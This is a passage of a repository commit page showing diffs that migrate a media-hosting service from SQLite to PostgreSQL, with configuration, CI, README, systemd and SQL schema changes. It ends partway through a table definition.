openvibers/openvibe.media Commits
Media on PostgreSQL (ADR-035, roadmap WS-X2): openvibe-sdk/db, async throughout, jobs and quotas safe under concurrency.
Changes
@@@ -8,12 +8,20 @@ NODE_ENV=development# Public base URL used when building absolute playback/asset URLs.MEDIA_PUBLIC_URL=https://openvibe.media--# Database (better-sqlite3, WAL)++# PostgreSQL (ADR-035), written by OpenVibe.Host roles/data/add-service.sh media: the runtime role through PgBouncer,++# the owner on a direct connection (migrations and the one-time import), and Valkey (shared limit counters).++# Without DATABASE_URL, development uses an embedded PGlite database in data/pglite.++DATABASE_URL=++DATABASE_DIRECT_URL=++VALKEY_URL=++VALKEY_PREFIX=++# The SQLite file of releases before PostgreSQL: read once by scripts/migrate-to-postgres.js.DB_PATH=./data/media.db# Restore-drill mode, set only by `ovhost drill media` (OpenVibe.Host docs/restore-drills.md): reads# only from a restored copy, no stored bytes, no jobs, webhooks, events or ffmpeg; refuses to start--# unless DB_PATH is outside the checkout, HOST is loopback and PORT is not 4100 (server/drill.js).++# unless DATABASE_URL names the restored copy (never ov_media on 5432/6432), DATABASE_DIRECT_URL is unset,++# HOST is loopback and PORT is not 4100 (server/drill.js).# MEDIA_DRILL=1# Storage paths (all created on boot)@@@ -6,11 +6,13 @@ on:jobs:# install, node --check, npm test (with test/n-1.test.js: the previous release's pages and SDK calls,# and its SQL, against this one, from test/fixtures/n-1) and openvibe-contracts-check: the shared test-- # job (Track Q).++ # job (Track Q). ADR-035: PostgreSQL 18 + PgBouncer (transaction mode) + Valkey 9 containers (openvibe-sdk++ # scripts/test-services.sh); npm test runs every file on PGlite, test:pg runs them all through PgBouncer.test:uses: OpenVibers/OpenVibe.Shared/.github/workflows/test.yml@423fe519b5fe9594cc81b670e5ba5cb9f21f6176with:contracts-service: media++ test: 'eval "$(node_modules/openvibe-sdk/scripts/test-services.sh up)" && npm test && npm run test:pg'# Secret scan (gitleaks) and dependency audit, shared by every OpenVibers repo (Track Q).security:uses: OpenVibers/OpenVibe.Shared/.github/workflows/security.yml@423fe519b5fe9594cc81b670e5ba5cb9f21f6176@@@ -17,12 +17,14 @@ cp .env.example .env # set MEDIA_APPS_SEED at minimumnpm start # node server/index.js```--Requires Node ≥ 20, `ffmpeg`/`ffprobe` on PATH. SQLite (better-sqlite3, WAL).++Requires Node ≥ 20, `ffmpeg`/`ffprobe` on PATH. PostgreSQL 18 and Valkey 9 (OpenVibe.Host `roles/data/`, ADR-035);++without `DATABASE_URL`, development uses an embedded PGlite database in `data/pglite`.## Owns- VODs (recording from RTMP or RTP, chunk ingest, finalize), clips (cutting), thumbnails, generic files-- and avatars, in one SQLite database (`media.db`) and the local media directories++ and avatars, in one PostgreSQL database (`ov_media` on the host's data role; schema in [migrations/](migrations/))++ and the local media directories- the canonical object model (`/api/v2`: objects, locations, variants, holds, derivatives, lifecycle,namespaces) and its jobs (`media_jobs`)- storage tiering (local, Backblaze B2, Cloudflare R2), copy verification and the disk guardian@@@ -42,8 +44,8 @@ Requires Node ≥ 20, `ffmpeg`/`ffprobe` on PATH. SQLite (better-sqlite3, WAL).export and deletion), OpenVibe.Live (`live.lineage.resolve`), OpenVibe.Events (the outbox relay andthe account and revocation subscriptions)- Backblaze B2 and Cloudflare R2 (S3 API) when configured; `ffmpeg`/`ffprobe` on the host--- `openvibe-contracts` v0.71.0, `openvibe-sdk` v0.12.0 (tokens, events outbox, per-actor limits),-- `openvibe-shared` v1.22.0, pinned by release tarball++- `openvibe-contracts` v0.76.0, `openvibe-sdk` v0.21.2 (tokens, events outbox, per-actor limits),++ `openvibe-shared` v1.28.0, pinned by release tarball## Capabilities@@@ -75,7 +77,7 @@ server/drill.js MEDIA_DRILL: restore-drill mode (reads only, no bytes, no jobs, nothing leaves)db/schema.sql apps, vods, clips, pastes(+likes/comments), files, content_views, media_settings,media_objects/locations/relationships/variants/jobs/holds/invariant_violations-- db/database.js better-sqlite3 helpers, all app_id-scoped; legacy row importer++ db/database.js PostgreSQL helpers (openvibe-sdk/db, async), all app_id-scopedvod/recorder.js ffmpeg recording: RTMP pull + RTP (SDP) ingest, codec passthroughvod/media-tools.js probes, seekable remux, DVR sidecar, chunk-segment concatvod/finalize.js finalize pipeline (remux → probe → master recovery → thumbnail → webhook)@@@ -359,7 +361,7 @@ the app's webhook_secret>`. 3 attempts with backoff, 10 s timeout.Each outcome is also a durable OpenVibe.Events event (`media.vod.ready|failed`,`media.clip.ready|failed`, `media.object.uploaded`, `media.storage.alert|recovered`;--`server/events.js`). The outbox row is written in the **same SQLite transaction** as the state++`server/events.js`). The outbox row is written in the **same transaction** as the statechange it describes (`webhooks.announce()`), so an outcome is never lost or announced for arolled-back change; the webhook follows the commit and carries `event_id` = that event's id(absent when the outbox is off), so an app that reads both paths (Live during its webhook →@@@ -378,12 +380,14 @@ that is deleted; none for sandbox tenants. `test/object-events.test.js`.## Restore drills (`MEDIA_DRILL=1`)--`ovhost drill media` (OpenVibe.Host `docs/restore-drills.md`) restores `media.db` from the latest--backup and starts a second Media from this checkout on 127.0.0.1:14100 with `MEDIA_DRILL=1` and--`DB_PATH` on the copy. In that mode (`server/drill.js`) Media:++A restore drill starts a second Media from this checkout on 127.0.0.1:14100 with `MEDIA_DRILL=1` and++`DATABASE_URL` naming a restored copy of the database (pgBackRest restores the cluster on a spare port; the Host's++`ovhost drill media` still restores the SQLite backups of the releases before PostgreSQL and needs that step before++it drills this one). In that mode (`server/drill.js`) Media:--- refuses to start unless `DB_PATH` is set and outside the checkout and `/opt/openvibe.media`, `HOST`-- is loopback and `PORT` is not 4100 (before the database is opened);++- refuses to start unless `DATABASE_URL` is set and does not name production's database (`ov_media` on 5432, or++ PgBouncer's 6432), `DATABASE_DIRECT_URL` is unset (a drill never migrates), `HOST` is loopback and `PORT` is not++ 4100 (before the database is opened), and opens the copy without migrating it;- starts only its HTTP server: no app seeding, JWKS refresh, tiering sweep, health job, junk sweep,clip re-cuts, copy verification, jobs worker, disk guardian, thumbnail cleanup, object purge,backfill, orphan-recording finalize or Events relay; webhooks are never sent;@@@ -444,7 +448,7 @@ Counters are per process (a restart forgets them). `test/actor-limits.test.js`.| path | behavior ||---|---|| `GET /healthz` | liveness: the process answers (unchanged; it checks nothing else) |--| `GET /api/ready` | readiness from real checks, each with `status`, `required`, `latency_ms`, `checked_at`. **Required** (503 when one fails): `db` (a query against the SQLite database), `storage_vods`, `storage_clips`, `storage_pastes`, `storage_thumbnails`, `storage_files`, `storage_objects` (a probe file is written and removed). **Optional** (listed in `degraded`, still 200): `network_jwks` (user JWTs and service tokens; app keys work without it), `remote_b2` / `remote_r2` (HeadBucket, at most once a minute; present only when the provider is configured), `events_outbox` (backlog over 1000 events). Also `recordings_in_progress`. |++| `GET /api/ready` | readiness from real checks, each with `status`, `required`, `latency_ms`, `checked_at`. **Required** (503 when one fails): `db` (a real round trip that names the store, postgresql or pglite, and counts the tenants), `valkey` optional (skipped without `VALKEY_URL`), `storage_vods`, `storage_clips`, `storage_pastes`, `storage_thumbnails`, `storage_files`, `storage_objects` (a probe file is written and removed). **Optional** (listed in `degraded`, still 200): `network_jwks` (user JWTs and service tokens; app keys work without it), `remote_b2` / `remote_r2` (HeadBucket, at most once a minute; present only when the provider is configured), `events_outbox` (backlog over 1000 events). Also `recordings_in_progress`. || `GET /metrics` | Prometheus text (openvibe-shared/metrics) for **direct loopback callers only**; 404 through nginx. HTTP golden signals by route template, process metrics, `release_info`, `release_client_updates_total{outcome,reason}`, plus `media_recordings_in_progress`, `media_object_locations{provider,state}`, `media_objects{lifecycle_status}`, `media_events_outbox{status}` (only while the outbox runs), `media_job_stale_completions_total{action}` (job writes refused by the lease-token fence). || `GET /release.json` | release manifest (`registry.release-manifest@1` 1.1.0, openvibe-shared/release, ADR-016): deployed commit, package versions, components, contract ranges, `metrics_url`. The shared navbar's release-watch polls it. No components are declared, so every release still prompts open tabs to reload. || `POST /release-metrics` | open tabs' update reports (release-watch beacons, at most 4 KB; 30 a minute per connecting address, which behind nginx is the proxy, so one budget for all tabs; Sec-GPC/DNT dropped) into `release_client_updates_total` on `/metrics`. 403 in a restore drill, like every write. |@@@ -569,26 +573,15 @@ guardian (refuses new recordings when free space is critical), stale live-thumbcleanup, and an on-boot sweep that finalizes recordings orphaned by an uncleanshutdown.--## Migration from the predecessor DB++## Moving to PostgreSQL--Every domain table carries `app_id TEXT NOT NULL DEFAULT 'live'`, and the new--schema keeps all predecessor columns (including legacy `storage_tier`), so the--cutover script can bulk-copy rows unchanged:----```js--const media = require('./server/db/database');--const old = require('better-sqlite3')('/path/to/old-live.db', { readonly: true });--for (const table of ['vods', 'clips', 'pastes', 'paste_likes', 'paste_comments', 'content_views']) {-- const rows = old.prepare(`SELECT * FROM ${table}`).all();-- console.log(table, media.importLegacyRows(table, rows, 'live'));--}--```----`importLegacyRows` inserts by column-name intersection (unknown legacy columns--ignored, new columns take defaults), preserves ids, backfills `app_id`, and is--idempotent (`INSERT OR IGNORE`). After the copy, run--`node server/vod/vod-storage.js migrate-legacy` to map legacy `storage_tier =--'cold'` rows to provider `b2`.++`scripts/migrate-to-postgres.js` is the one-time import of the SQLite `media.db` (`DB_PATH`) into `ov_media`++(openvibe-sdk `runSqliteMigration`: migrations as the owner, every table copied into emptied tables, counts and++checksums verified; `--pglite` rehearses it in memory). It runs while the service is stopped (OpenVibe.Host++`roles/data/switch-service.sh media /opt/openvibe.media/data/media.db`); the SQLite file stays read-only for 7 days as++the rollback. Timestamps stay SQLite's text (`ov_now()`, `datetime()`, `julianday()` in the migration); the retention++hold guards and the object-change triggers are PL/pgSQL. (The predecessor-DB importer and its bulk-copy recipe were++retired with the move.)## Not ported@@@ -654,13 +647,14 @@ Reporting a vulnerability: [SECURITY.md](SECURITY.md). The rules the code keeps:Production deploys with `sudo ovhost deploy media` on the host (strategy `git-checkout`: fetch,fast-forward `/opt/openvibe.media`, install on a lockfile change, restart, wait for `/api/ready`, 60 s).--ovhost refuses the restart while a VOD is recording (`vods.is_recording = 1`); `--wait-idle` holds it--until none is. The unit is `openvibe-media.service` ([deploy/systemd/](deploy/systemd/openvibe-media.service),--runs as `ubuntu`, data under `/opt/openvibe.media/data`) on `127.0.0.1:4100`, the env file--`/etc/openvibe/media.env`; nginx serves `openvibe.media` from++ovhost refuses the restart while a VOD is recording (`recordings_in_progress` on `/api/ready`); `--wait-idle`++holds it until none is. The unit is `openvibe-media.service` ([deploy/systemd/](deploy/systemd/openvibe-media.service),++runs as `ubuntu`, media under `/opt/openvibe.media/data`) on `127.0.0.1:4100`, the env file++`/etc/openvibe/media.env`. The database is `ov_media` on the host's data role (`sudo /opt/openvibe.host/roles/data/add-service.sh media`++writes its settings); the release migrates it at boot; nginx serves `openvibe.media` from[deploy/nginx/openvibe.media.conf](deploy/nginx/openvibe.media.conf). After a deploy, record the N-1fixtures (`npm run n-1:record`).Rollback: ovhost puts the previous sha back by itself when `/api/ready` does not answer 2xx after the--restart; afterwards `sudo ovhost rollback media --to <sha>`. One blocker: `media_jobs` was rebuilt once--into the `app_id` shape, so a release from before that change does not know the table.++restart; afterwards `sudo ovhost rollback media --to <sha>`. A release from before PostgreSQL reads the SQLite++`media.db` it left (read-only for 7 days after the switch); anything written since would need moving back first.@@@ -3,10 +3,10 @@"stage": "beta","code": true,"plan": "OpenVibe End-to-End Realignment & Implementation Plan, revision 3 (20 Sep 2026)",-- "runtime": "node 22, express, better-sqlite3, ffmpeg",++ "runtime": "node 22, express, PostgreSQL 18 (openvibe-sdk/db, async) + Valkey 9, ffmpeg","port": 4100,"domain": "openvibe.media",-- "contracts": "openvibe-contracts v0.71.0",++ "contracts": "openvibe-contracts v0.76.0","capabilities": ["media.object.upload","media.object.read",@@@ -2,7 +2,8 @@# Secrets live in /etc/openvibe/media.env (0600).[Unit]Description=OpenVibe.Media service--After=network.target++After=network.target postgresql.service pgbouncer.service valkey-server.service++Wants=postgresql.service pgbouncer.service valkey-server.service[Service]Type=simplennew file mode 100644@@@ -0,0 +1,646 @@++-- phase: expand++-- OpenVibe.Media on PostgreSQL (ADR-035, roadmap WS-X2): the tables as they were on SQLite (converted by openvibe-sdk++-- tools/asyncify/sqlite-schema-to-pg: text COLLATE "C" compares like SQLite, integers are bigint, identities keep their ids),++-- then the openvibe-publishing stores and the openvibe-sdk inbox and outbox. Generated once on 2026-09-28; never edited after it runs.++-- SQLite's text timestamps and date functions (openvibe-sdk tools/asyncify SQLITE_DATE_FUNCTIONS).++CREATE FUNCTION ov_ts(t text) RETURNS timestamp LANGUAGE plpgsql STABLE AS $$++BEGIN++ IF t IS NULL THEN RETURN NULL; END IF;++ IF t = 'now' THEN RETURN statement_timestamp() AT TIME ZONE 'UTC'; END IF;++ IF t ~ '\d\d:\d\d(:\d\d(\.\d+)?)?\s*(Z|[+-]\d\d(:?\d\d)?)$' THEN RETURN t::timestamptz AT TIME ZONE 'UTC'; END IF;++ RETURN t::timestamp;++EXCEPTION WHEN others THEN RETURN NULL;++END $$;++CREATE FUNCTION ov_now() RETURNS text LANGUAGE sql STABLE AS $$ SELECT to_char(statement_timestamp() AT TIME ZONE 'UTC', 'YYYY-MM-DD HH24:MI:SS') $$;++CREATE FUNCTION ov_now_iso() RETURNS text LANGUAGE sql STABLE AS $$ SELECT to_char(statement_timestamp() AT TIME ZONE 'UTC', 'YYYY-MM-DD"T"HH24:MI:SS.MS"Z"') $$;++CREATE FUNCTION ov_now_iso(modifier text) RETURNS text LANGUAGE sql STABLE AS $$ SELECT to_char((statement_timestamp() AT TIME ZONE 'UTC') + modifier::interval, 'YYYY-MM-DD"T"HH24:MI:SS.MS"Z"') $$;++CREATE FUNCTION datetime(t text, modifier text DEFAULT NULL) RETURNS text LANGUAGE plpgsql STABLE AS $$++DECLARE ts timestamp := ov_ts(t);++BEGIN++ IF ts IS NULL THEN RETURN NULL; END IF;++ IF modifier IS NOT NULL THEN ts := ts + modifier::interval; END IF;++ RETURN to_char(ts, 'YYYY-MM-DD HH24:MI:SS');++EXCEPTION WHEN others THEN RETURN NULL;++END $$;++CREATE FUNCTION julianday(t text) RETURNS double precision LANGUAGE sql STABLE AS $$ SELECT extract(epoch FROM ov_ts(t))::double precision / 86400.0 + 2440587.5 $$;++-- SQLite's JSON1 as the code uses it: json_valid(t), and json_extract(t, '$.a.b') as text (CAST it for a number).++CREATE FUNCTION json_valid(t text) RETURNS boolean LANGUAGE sql IMMUTABLE AS $$ SELECT t IS JSON $$;++CREATE FUNCTION json_extract(t text, path text) RETURNS text LANGUAGE sql IMMUTABLE AS $$ SELECT jsonb_extract_path_text(t::jsonb, VARIADIC string_to_array(substr(path, 3), '.')) $$;++CREATE FUNCTION json_type(t text) RETURNS text LANGUAGE sql IMMUTABLE AS $$ SELECT jsonb_typeof(t::jsonb) $$; -- 'object' and 'array' as SQLite; scalars are PostgreSQL's names++CREATE FUNCTION instr(t text, sub text) RETURNS integer LANGUAGE sql IMMUTABLE AS $$ SELECT strpos(t, sub) $$; -- SQLite's instr++++CREATE TABLE apps (++ app_id text COLLATE "C" PRIMARY KEY,++ name text COLLATE "C" NOT NULL DEFAULT '',++ api_key_hash text COLLATE "C" NOT NULL,++ webhook_url text COLLATE "C",++ webhook_secret text COLLATE "C",++ allowed_origins text COLLATE "C" DEFAULT '[]',++ quota_bytes bigint DEFAULT 0,++ created_at text COLLATE "C" DEFAULT ov_now(),++ project_id text COLLATE "C",++ env text COLLATE "C"++);++++CREATE TABLE vods (++ id bigint GENERATED ALWAYS AS IDENTITY PRIMARY KEY,++ app_id text COLLATE "C" NOT NULL DEFAULT 'live',++ stream_id bigint,++ stream_key text COLLATE "C",++ managed_stream_id bigint,++ user_id bigint,++ title text COLLATE "C",++ description text COLLATE "C" DEFAULT '',++ file_path text COLLATE "C",++ thumbnail_url text COLLATE "C",++ master_file_path text COLLATE "C",++ file_size bigint DEFAULT 0,++ duration_seconds bigint DEFAULT 0,++ probe_duration_seconds double precision DEFAULT 0,++ duration_source text COLLATE "C",++ probe_format_json text COLLATE "C" DEFAULT '',++ health_status text COLLATE "C" DEFAULT 'unknown',++ health_score bigint DEFAULT 0,++ health_issues_json text COLLATE "C" DEFAULT '[]',++ last_health_scan_at text COLLATE "C",++ quarantined_at text COLLATE "C",++ is_public bigint DEFAULT 1,++ visibility text COLLATE "C" DEFAULT 'public',++ is_recording bigint DEFAULT 0,++ clips_only bigint DEFAULT 0,++ view_count bigint DEFAULT 0,++ storage_tier text COLLATE "C" DEFAULT 'hot',++ storage_provider text COLLATE "C" DEFAULT 'local',++ storage_key text COLLATE "C",++ last_accessed_at text COLLATE "C",++ ai_overview text COLLATE "C",++ ai_transcript text COLLATE "C",++ ai_analyzed_at text COLLATE "C",++ meta_json text COLLATE "C" DEFAULT '{}',++ object_id text COLLATE "C",++ created_at text COLLATE "C" DEFAULT ov_now(),++ unique_views bigint DEFAULT 0++);++++CREATE TABLE clips (++ id bigint GENERATED ALWAYS AS IDENTITY PRIMARY KEY,++ app_id text COLLATE "C" NOT NULL DEFAULT 'live',++ vod_id bigint,++ stream_id bigint,++ user_id bigint,++ channel_user_id bigint,++ title text COLLATE "C" DEFAULT 'Untitled Clip',++ description text COLLATE "C" DEFAULT '',++ file_path text COLLATE "C",++ thumbnail_url text COLLATE "C",++ start_time double precision NOT NULL DEFAULT 0,++ end_time double precision NOT NULL DEFAULT 0,++ duration_seconds double precision DEFAULT 0,++ is_public bigint DEFAULT 1,++ visibility text COLLATE "C" DEFAULT 'public',++ status text COLLATE "C" DEFAULT 'ready',++ view_count bigint DEFAULT 0,++ auto_generated bigint DEFAULT 0,++ storage_provider text COLLATE "C" DEFAULT 'local',++ storage_key text COLLATE "C",++ ai_overview text COLLATE "C",++ ai_transcript text COLLATE "C",++ ai_analyzed_at text COLLATE "C",++ object_id text COLLATE "C",++ created_at text COLLATE "C" DEFAULT ov_now(),++ cut_error text COLLATE "C",++ cut_attempts bigint DEFAULT 0,++ cut_next_at text COLLATE "C",++ unique_views bigint DEFAULT 0++);++++CREATE TABLE content_views (++ id bigint GENERATED ALWAYS AS IDENTITY PRIMARY KEY,++ content_type text COLLATE "C" NOT NULL CHECK(content_type IN ('vod', 'clip')),++ content_id bigint NOT NULL,++ ip text COLLATE "C" NOT NULL,++ created_at text COLLATE "C" DEFAULT ov_now(),++ UNIQUE(content_type, content_id, ip)++);++++CREATE TABLE pastes (++ id bigint GENERATED ALWAYS AS IDENTITY PRIMARY KEY,++ app_id text COLLATE "C" NOT NULL DEFAULT 'live',++ slug text COLLATE "C" UNIQUE NOT NULL,++ user_id bigint,++ type text COLLATE "C" DEFAULT 'paste' CHECK(type IN ('paste', 'screenshot')),++ title text COLLATE "C" NOT NULL DEFAULT 'Untitled',++ content text COLLATE "C",++ language text COLLATE "C" DEFAULT 'text',++ visibility text COLLATE "C" DEFAULT 'public' CHECK(visibility IN ('public', 'unlisted', 'private')),++ stream_id bigint,++ screenshot_path text COLLATE "C",++ metadata text COLLATE "C",++ burn_after_read bigint DEFAULT 0,++ forked_from bigint,++ pinned bigint DEFAULT 0,++ views bigint DEFAULT 0,++ copies bigint DEFAULT 0,++ likes bigint DEFAULT 0,++ is_nsfw bigint DEFAULT 0,++ ip_address text COLLATE "C",++ ai_summary text COLLATE "C",++ ai_tags text COLLATE "C",++ ai_analyzed_at text COLLATE "C",++ object_id text COLLATE "C",++ created_at text COLLATE "C" DEFAULT ov_now(),++ updated_at text COLLATE "C" DEFAULT ov_now(),++ unique_views bigint DEFAULT 0,++ FOREIGN KEY (forked_from) REFERENCES pastes(id) ON DELETE SET NULL++);++++CREATE TABLE paste_likes (++ paste_id bigint NOT NULL,++ user_id bigint NOT NULL,++ created_at text COLLATE "C" DEFAULT ov_now(),++ PRIMARY KEY (paste_id, user_id),++ FOREIGN KEY (paste_id) REFERENCES pastes(id) ON DELETE CASCADE++);++++CREATE TABLE paste_comments (++ id bigint GENERATED ALWAYS AS IDENTITY PRIMARY KEY,++ paste_id bigint NOT NULL,++ user_id bigint,++ parent_id bigint,++ anon_name text COLLATE "C",++ message text COLLATE "C" NOT NULL,++ ip_address text COLLATE "C",++ is_deleted bigint DEFAULT 0,++ created_at text COLLATE "C" DEFAULT ov_now(),++ updated_at text COLLATE "C" DEFAULT ov_now(),++ FOREIGN KEY (paste_id) REFERENCES pastes(id) ON DELETE CASCADE,++ FOREIGN KEY (parent_id) REFERENCES paste_comments(id) ON DELETE CASCADE++);++++CREATE TABLE files (++ key text COLLATE "C" PRIMARY KEY,++ app_id text COLLATE "C" NOT NULL DEFAULT 'live',++ user_id bigint,++ original_name text COLLATE "C",++ size bigint NOT NULL DEFAULT 0,++ mime text COLLATE "C" DEFAULT 'application/octet-stream',++ sha256 text COLLATE "C",++ object_id text COLLATE "C",++ created_at text COLLATE "C" DEFAULT ov_now(),++ unique_views bigint DEFAULT 0,++ view_count bigint DEFAULT 0++);++++CREATE TABLE media_settings (++ key text COLLATE "C" PRIMARY KEY,++ value text COLLATE "C",++ description text COLLATE "C" DEFAULT '',++ type text COLLATE "C" DEFAULT 'string',++ updated_at text COLLATE "C" DEFAULT ov_now()++);++++CREATE TABLE assets (++ id bigint GENERATED ALWAYS AS IDENTITY PRIMARY KEY,++ app_id text COLLATE "C" NOT NULL DEFAULT 'live',++ kind text COLLATE "C" NOT NULL,++ name text COLLATE "C" NOT NULL,++ file_path text COLLATE "C" NOT NULL,++ mime text COLLATE "C" DEFAULT 'application/octet-stream',++ user_id bigint,++ username text COLLATE "C" DEFAULT '',++ channel_username text COLLATE "C" DEFAULT '',++ duration_seconds double precision DEFAULT 0,++ meta_json text COLLATE "C" DEFAULT '{}',++ created_at text COLLATE "C" DEFAULT ov_now()++);++++CREATE TABLE media_objects (++ id text COLLATE "C" PRIMARY KEY,++ app_id text COLLATE "C" NOT NULL,++ namespace text COLLATE "C" NOT NULL,++ kind text COLLATE "C" NOT NULL CHECK(kind IN ('vod', 'clip', 'file', 'thumbnail', 'screenshot', 'avatar', 'asset')),++ owner_subject text COLLATE "C",++ owner_app text COLLATE "C",++ owner_user_id bigint,++ visibility text COLLATE "C" NOT NULL DEFAULT 'private' CHECK(visibility IN ('public', 'unlisted', 'private')),++ lifecycle_status text COLLATE "C" NOT NULL DEFAULT 'uploading' CHECK(lifecycle_status IN ('uploading', 'ready', 'failed', 'archived', 'deleted')),++ mime_type text COLLATE "C",++ size_bytes bigint NOT NULL DEFAULT 0,++ content_hash text COLLATE "C",++ canonical_provider text COLLATE "C",++ canonical_key text COLLATE "C",++ legacy_ref text COLLATE "C" UNIQUE,++ metadata text COLLATE "C" NOT NULL DEFAULT '{}',++ created_at text COLLATE "C" DEFAULT ov_now(),++ updated_at text COLLATE "C" DEFAULT ov_now(),++ deleted_at text COLLATE "C"++);++++CREATE TABLE media_namespaces (++ namespace text COLLATE "C" PRIMARY KEY,++ app_id text COLLATE "C" NOT NULL,++ parent text COLLATE "C",++ owner text COLLATE "C" NOT NULL,++ policy text COLLATE "C" NOT NULL DEFAULT '{}',++ quota_bytes bigint,++ quota_objects bigint,++ used_bytes bigint NOT NULL DEFAULT 0,++ used_objects bigint NOT NULL DEFAULT 0,++ reserved_bytes bigint NOT NULL DEFAULT 0,++ reserved_objects bigint NOT NULL DEFAULT 0,++ reconciled_at text COLLATE "C",++ created_at text COLLATE "C" DEFAULT ov_now(),++ updated_at text COLLATE "C" DEFAULT ov_now()++);++++CREATE TABLE media_quota_reservations (++ object_id text COLLATE "C" PRIMARY KEY,++ app_id text COLLATE "C" NOT NULL,++ namespace text COLLATE "C" NOT NULL,++ bytes bigint NOT NULL DEFAULT 0,++ expires_at text COLLATE "C" NOT NULL,++ created_at text COLLATE "C" DEFAULT ov_now(),++ updated_at text COLLATE "C" DEFAULT ov_now()++);++++CREATE TABLE media_locations (++ id bigint GENERATED ALWAYS AS IDENTITY PRIMARY KEY,++ object_id text COLLATE "C" NOT NULL,++ provider text COLLATE "C" NOT NULL CHECK(provider IN ('local', 'b2', 'r2')),++ bucket text COLLATE "C",++ key text COLLATE "C" NOT NULL,++ storage_class text COLLATE "C",++ state text COLLATE "C" NOT NULL DEFAULT 'pending' CHECK(state IN ('present', 'missing', 'pending', 'corrupt')),++ checksum text COLLATE "C",++ size_bytes bigint,++ verified_at text COLLATE "C",++ created_at text COLLATE "C" DEFAULT ov_now(),++ updated_at text COLLATE "C" DEFAULT ov_now(),++ UNIQUE(object_id, provider)++);++++CREATE TABLE media_relationships (++ id bigint GENERATED ALWAYS AS IDENTITY PRIMARY KEY,++ from_object_id text COLLATE "C" NOT NULL,++ relation text COLLATE "C" NOT NULL,++ to_object_id text COLLATE "C" NOT NULL,++ metadata text COLLATE "C" NOT NULL DEFAULT '{}',++ created_at text COLLATE "C" DEFAULT ov_now(),++ UNIQUE(from_object_id, relation, to_object_id)++);++++CREATE TABLE media_variants (++ id bigint GENERATED ALWAYS AS IDENTITY PRIMARY KEY,++ object_id text COLLATE "C" NOT NULL,++ variant_name text COLLATE "C" NOT NULL,++ derived_object_id text COLLATE "C" NOT NULL,++ recipe text COLLATE "C",++ created_at text COLLATE "C" DEFAULT ov_now(),++ UNIQUE(object_id, variant_name)++);++++CREATE TABLE media_jobs (++ id text COLLATE "C" PRIMARY KEY,++ app_id text COLLATE "C" NOT NULL,++ object_id text COLLATE "C",++ job_type text COLLATE "C" NOT NULL,++ status text COLLATE "C" NOT NULL DEFAULT 'queued' CHECK(status IN ('proposed', 'queued', 'running', 'succeeded', 'failed', 'cancelled')),++ idempotency_key text COLLATE "C",++ request_hash text COLLATE "C",++ params text COLLATE "C" NOT NULL DEFAULT '{}',++ result text COLLATE "C",++ attempts bigint NOT NULL DEFAULT 0,++ max_attempts bigint NOT NULL DEFAULT 3,++ run_after text COLLATE "C",++ lease_until text COLLATE "C",++ lease_token text COLLATE "C",++ checkpoint text COLLATE "C",++ error text COLLATE "C",++ error_code text COLLATE "C",++ cancel_requested bigint NOT NULL DEFAULT 0,++ created_by text COLLATE "C",++ owner_user_id bigint,++ decided_by text COLLATE "C",++ decided_at text COLLATE "C",++ created_at text COLLATE "C" DEFAULT ov_now(),++ updated_at text COLLATE "C" DEFAULT ov_now(),++ started_at text COLLATE "C",++ finished_at text COLLATE "C"++);++++CREATE TABLE media_uploads (++ id text COLLATE "C" PRIMARY KEY,++ object_id text COLLATE "C" NOT NULL,++ app_id text COLLATE "C" NOT NULL,++ part_size bigint NOT NULL,++ total_size bigint NOT NULL,++ parts_expected bigint NOT NULL,++ status text COLLATE "C" NOT NULL DEFAULT 'active' CHECK(status IN ('active', 'completing', 'completed', 'aborted', 'expired')),++ created_at text COLLATE "C" DEFAULT ov_now(),++ updated_at text COLLATE "C" DEFAULT ov_now(),++ expires_at text COLLATE "C" NOT NULL,++ completed_at text COLLATE "C"++);++++CREATE TABLE media_upload_parts (++ upload_id text COLLATE "C" NOT NULL,++ part_number bigint NOT NULL,++ size_bytes bigint NOT NULL,++ sha256 text COLLATE "C" NOT NULL,++ received_at text COLLATE "C" DEFAULT ov_now(),++ PRIMARY KEY (upload_id, part_number)++);++++CREATE TABLE media_holds (++ id bigint GENERATED ALWAYS AS IDENTITY PRIMARY KEY,++ object_id text COLLATE "C" NOT NULL,++ kind text COLLATE "C" NOT NULL CHECK(kind IN ('moderation', 'dmca', 'creator_pin', 'admin', 'evidence')),++ reason text COLLATE "C" NOT NULL DEFAULT '',++ created_by text COLLATE "C",++ created_at text COLLATE "C" DEFAULT ov_now(),++ released_at text COLLATE "C",++ released_by text COLLATE "C",++ note text COLLATE "C"++);++++CREATE TABLE media_invariant_violations (++ id bigint GENERATED ALWAYS AS IDENTITY PRIMARY KEY,++ object_id text COLLATE "C" NOT NULL UNIQUE,++ level text COLLATE "C" NOT NULL CHECK(level IN ('warn', 'violation')),++ size_bytes bigint NOT NULL,++ threshold_bytes bigint NOT NULL,++ detected_at text COLLATE "C" DEFAULT ov_now(),++ last_seen_at text COLLATE "C" DEFAULT ov_now(),++ resolved_at text COLLATE "C"++);++++CREATE TABLE media_tier_decisions (++ id bigint GENERATED ALWAYS AS IDENTITY PRIMARY KEY,++ decided_at text COLLATE "C" NOT NULL DEFAULT ov_now_iso(),++ vod_id bigint NOT NULL,++ app_id text COLLATE "C",++ object_id text COLLATE "C",++ action text COLLATE "C" NOT NULL CHECK(action IN ('promote', 'demote')),++ from_provider text COLLATE "C",++ to_provider text COLLATE "C",++ outcome text COLLATE "C" NOT NULL CHECK(outcome IN ('done', 'already', 'refused', 'failed')),++ trigger text COLLATE "C" NOT NULL,++ reason text COLLATE "C" NOT NULL,++ inputs text COLLATE "C" NOT NULL DEFAULT '{}',++ thresholds text COLLATE "C" NOT NULL DEFAULT '{}',++ error text COLLATE "C"++);++++CREATE TABLE media_object_view_salts (++ day text COLLATE "C" PRIMARY KEY,++ salt text COLLATE "C" NOT NULL,++ created_at text COLLATE "C" DEFAULT ov_now()++);++++CREATE TABLE media_object_viewer_days (++ day text COLLATE "C" NOT NULL,++ object_id text COLLATE "C" NOT NULL,++ viewer text COLLATE "C" NOT NULL,++ PRIMARY KEY (day, object_id, viewer)++);++++CREATE TABLE media_object_views_daily (++ object_id text COLLATE "C" NOT NULL,++ day text COLLATE "C" NOT NULL,++ unique_viewers bigint NOT NULL DEFAULT 0,++ last_viewed_at text COLLATE "C",++ PRIMARY KEY (object_id, day)++);++++CREATE TABLE media_object_tier_decisions (++ id bigint GENERATED ALWAYS AS IDENTITY PRIMARY KEY,++ decided_at text COLLATE "C" NOT NULL DEFAULT ov_now_iso(),++ object_id text COLLATE "C" NOT NULL,++ app_id text COLLATE "C",++ action text COLLATE "C" NOT NULL CHECK(action IN ('promote', 'demote')),++ from_provider text COLLATE "C",++ to_provider text COLLATE 